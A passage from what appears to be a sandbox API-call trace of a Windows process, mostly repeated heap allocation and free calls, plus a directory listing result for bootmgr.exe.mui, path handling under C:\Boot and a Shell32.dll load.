hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.545] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.545] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.552] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.552] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.552] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.552] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.552] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.552] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.552] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.552] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.552] PathFindFileNameW (pszPath="") returned="" [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.552] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.552] GetProcAddress 